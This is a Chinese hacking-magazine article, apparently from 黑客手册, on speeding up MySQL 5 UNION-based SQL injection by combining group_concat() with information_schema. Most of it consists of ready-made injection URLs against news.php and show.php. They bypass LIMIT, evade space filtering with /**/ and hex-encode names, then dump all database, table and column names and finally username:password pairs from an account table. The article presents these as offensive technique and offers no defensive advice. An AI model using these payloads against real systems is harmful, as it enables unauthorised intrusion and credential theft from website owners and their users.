作者:晓华 

 

                                                                                            开篇介绍

      在FLYH4T大哥的“Mysql5注射技巧总结”一文中介绍了通过使用“information_schema”库实现遍历猜解库名表名以及字段名的技术,解决了一些以前使用工具无法猜解到的库名表名以及字段名的问题,提高了注射的效率。关于此文的详细技术细节请参考往期的“黑客手册”。但是通过我的研究,发现这种技巧有一定的缺陷。首先遍历的库名或者表名以及字段名等位置,要使用到limit功能语句来强制返回select查询的记录数。如果在渗透中limit功能语句无法使用,是不是很难进行遍历了?如果被限制的话,可以使用“!=”来绕过。语句使用格式:

show.php?id=2/**/and/**/1=2/**/union/**/select/**/1,table_name,3,4,5,6,7,8,9,10/**/frominformation_schema.tables/**/where/**/table_schema=database()/**/and/**/table_name/**/!=char(97,100,109,105,110)

虽然这样能够绕过limit的限制,但是利用起来非常不方便,而且猜解的速度很慢。经过我的仔细研究,找到了一个相对比较好的方法。而且解决了limit被限制的问题,更重要的是加速了遍历的速度,明显提高注射的效率。

                                                                 group_concat()函数介绍

 

首先我们来了解一下group_concat()函数,该函数完整语法如下:

GROUP_CONCAT([DISTINCT] expr [,expr ...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] [,col ...]]
[SEPARATOR str_val])

该函数返回一个字符串结果,该结果由分组中的值连接组合而成,这个函数在 MySQL 4.1 中被加入。有兴趣的朋友可以参考“MYSQL5.1参考手册”。

 

普通利用

 

该函数在MYSQL的注射中也有使用的例子,利用方法还只是局限于在一个地方显示一些普通信息,比如显示数据库版本和爆字段数据等。爆版本等信息,执行语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15—如图1

 

 

 

 

爆用户名以及密码等字段信息,执行语句:

news.php?id=-1/**/union/**/select/**/1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12/**/from/**/admin—

这么强悍的函数,我们为什么不深度挖掘它的功能呢?利用它可以干一些不可思议的事,接下来我会介绍如何深度利用这个函数,读者朋友可要仔细了。

 

高级利用

爆全部库名

利用这个函数可以爆出全部的数据库名,构造查询语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(SCHEMA_NAME),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.SCHEMATA--   如图2

 

爆出了所有的数据库名,共有三个。依次为: information_schema cite test

 

爆全部表名

利用这个函数可以爆出全部的表名,如果想爆出cite库的全部表名。构造查询语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.tables/**/where/**/table_schema=0x63697465 其中0x63697465是cite的HEX值。如图3

 

 

如果只是想爆当前库的全部表名,我们不需要将库名进行HEX值转换。可以这样执行语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.tables/**/where/**/table_schema=database()-- 其中database()函数就是显示当前库的信息。如图4

 

爆全部字段名

 

利用这个函数可以爆出全部的字段名,如果想爆出“account”表的全部字段,首先将其进行HEX转换。构造查询语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.columns/**/where/**/table_name=0x6163636F756E74-- 如图5

 

得到二个敏感的字段,依次为:username password

 

爆最终敏感数据

 

有了表和字段等关键信息,我们就可以爆出敏感数据信息。构造查询语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(username,0x3A,password),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/cite.account-- 如图6

 

总结:灵活运用此函数,能让你充分感受到MYSQL注射的快感。其实也不是什么高深的技术,只不过是将MYSQL5的“information_schema”库与group_concat()函数的综合运用罢了。对本文有任何疑问和有好的建议的朋友,请到黑客手册官方论坛或者岁月联盟找我交换意见,谢谢。